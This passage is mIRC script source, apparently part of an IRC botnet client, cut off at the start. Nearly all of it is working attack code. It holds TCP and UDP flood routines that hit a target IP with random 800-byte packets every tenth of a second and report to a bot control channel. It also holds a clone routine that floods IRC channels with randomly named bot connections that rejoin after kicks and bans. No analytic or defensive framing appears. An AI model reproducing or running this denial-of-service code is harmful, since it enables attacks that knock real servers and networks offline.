  if (%flood.port !isnum 1-65535) || (%flood.secs !isnum 0-99999) { halt }
  sockwrite -n mainirc PRIVMSG %bot.chan [TCPFLOOD]: Flooding %flood.ip $+ : $+ %flood.port for %flood.secs seconds.
  .timertcp.flood 0 0.1 tcpflood2
  if (%flood.secs != 0) { .timertcp.flood.stop 1 %flood.secs tcpflood.stop }
}
alias tcpflood2 { sockopen tcpflood- $+ $ticks $+ $rand(a,z) $+ $rand(1000,9999) %flood.ip %flood.port | halt }
on *:sockopen:tcpflood-*:{ sockwrite -n $sockname $str($chr($r(0,140)),800) | sockclose $sockname | halt }
alias tcpflood.stop {
  .timertcp.* off
  sockclose tcpflood-*
  sockwrite -n mainirc PRIVMSG %bot.chan [TCPFLOOD]: Flood stopped.
  halt
}

alias udpflood {
  sockwrite -n mainirc PRIVMSG %bot.chan [UDPFLOOD]: Flooding %udp.ip for %udp.secs seconds.
  .timerudp.flood 0 0.1 udpflood2
  if (%udp.secs != 0) { .timerudp.flood.stop 1 %udp.secs udpflood.stop }
}
alias udpflood2 {
  set %udp.rand udpflood- $+ $ticks $+ $rand(a,z) $+ $rand(1000,9999)
  sockudp -b %udp.rand %udp.ip $rand(1,65535) $rand(1,65535) $rand(1,65535) $str($chr($r(0,140)),800)
  sockclose %udp.rand
  halt
}
alias udpflood.stop {
  .timerudp.* off
  sockclose udpflood-*
  sockwrite -n mainirc PRIVMSG %bot.chan [UDPFLOOD]: Flood stopped.
  halt
}
on *:sockopen:clone-*:{
  if ($sockerr > 0) { sockwrite -n mainirc PRIVMSG %bot.chan [CLONE]: Could not connect to server. | sockclose $sockname | halt }
  set %clone.nick $rand(A,Z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(10,99)
  sockwrite -n $sockname nick %clone.nick
  sockwrite -n $sockname user $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) x x :R2C CLoNeD
  sockwrite -n $sockname join %clone.chan %clone.pass
}
on *:sockread:clone-*:{
  sockread %cloneirc
  set %clone.action $gettok(%cloneirc,2,32)
  set %clone.xnick $remove($gettok(%cloneirc,1,33),:)
  set %clone.target $remove($gettok(%cloneirc,3,32),:)
  set %clone.cmd $remove($gettok(%cloneirc,4,32),:)
  set %clone.more $gettok(%cloneirc,5-,32)
  if ($gettok(%cloneirc,1,32) == PING) { set %bot.ping $ticks | sockwrite -n $sockname PONG $gettok(%cloneirc,2,32) | halt }
  if (%clone.action == 433) { set %clone.nick $rand(A,Z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(10,99) | sockwrite -n $sockname nick %clone.nick | halt }
  if (%clone.action == 451) && (%bot.cmd == You) {
    set %clone.nick $rand(A,Z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(10,99)
    sockwrite -n $sockname nick %clone.nick
    sockwrite -n $sockname user $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) x x :R2C CLoNeD
    sockwrite -n $sockname join %clone.chan %clone.pass
    halt
  }
  if (%clone.action == KICK) && (%clone.cmd == %clone.nick) { sockwrite -n $sockname JOIN %bot.chan %bot.chanpw | halt }
  if (%clone.action == 473) { .timer 1 10 sockwrite -n $sockname JOIN %clone.cmd | halt }
  if (%clone.action == 475) { .timer 1 10 sockwrite -n $sockname JOIN %clone.cmd | halt }
  if (%clone.action == 471) { .timer 1 10 sockwrite -n $sockname JOIN %clone.cmd | halt }
  if (%clone.action == 474) { .timer 1 10 sockwrite -n $sockname JOIN %clone.cmd | halt }
}